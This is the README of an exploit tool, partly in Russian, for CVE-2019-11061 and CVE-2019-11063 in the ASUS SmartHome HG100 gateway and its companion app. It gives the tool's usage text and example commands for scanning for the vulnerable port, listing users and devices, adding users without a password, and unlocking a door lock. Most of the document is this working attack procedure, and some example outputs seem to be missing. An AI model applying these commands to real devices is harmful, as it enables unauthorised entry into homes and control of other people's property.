
ASUS SmartHome Exploit for CVE-2019-11061 and CVE-2019-11063
CVE-2019-11061 : Нарушение контроля доступа в HG100
Затронутые продукты: ASUS SmartHome Gateway HG100, версия прошивки < 4.00.09
CVE-2019-11063 : Нарушение контроля доступа в приложении SmartHome
Затронутые продукты: ASUS SmartHome Android APP версия < 3.0.45_190701
Если злоумышленник находится в одной локальной сети с HG100 или мобильным устройством с сопутствующим приложением (Android или iPhone), он может отправлять им управляющие запросы.
usage: exploit.py scan [-h] [-v] target_ip
scan exploitable port
positional arguments:
target_ip scan ip
optional arguments:
-h, --help show this help message and exit
-v show account email list
usage: exploit.py cmd [-h]
(-u | -l | -s device_id | -c device_id status | -a username)
[--user username] [--new-user username] [-v]
target
send command to target
positional arguments:
target <target-ip>:<port>
optional arguments:
-h, --help show this help message and exit
-u, --list-user list all user in device
-l, --list-device list all device status
-s device_id, --device-status device_id
list device status
-c device_id status, --device-control device_id status
control device status
-a username, --add-user username
add a user to device
--user username assign user for cmd
--new-user username create a new user for cmd
-v show account email list
$ ./exploit.py cmd https://10.42.50.166:8083 -l
Сканирование уязвимого порта на мобильном устройстве (с установленным сопутствующим приложением для Android или iPhone):
P.S. Опция -v выводит список пользователей, добавленных в HG100.
или
Сканирование уязвимого порта HG100:
Получить список всех пользователей, добавленных в HG100:

или добавить нового:
Примечание: для аргумента «cmd» используйте https://10.42.50.166:8083.
Пример:
$ ./exploit.py cmd https://10.42.50.166:8083 -u
Получить информацию обо всех устройствах, подключенных к SmartHome Gateway:
P.S. Если опция --user не задана, автоматически выбирается первый пользователь в HG100 (поскольку пароль не требуется).
Сравнение с приложением:
Управление (разблокировка) дверного замка.
P.S. Значение 1028 получено из опции -l (шаг 3).
Результат:
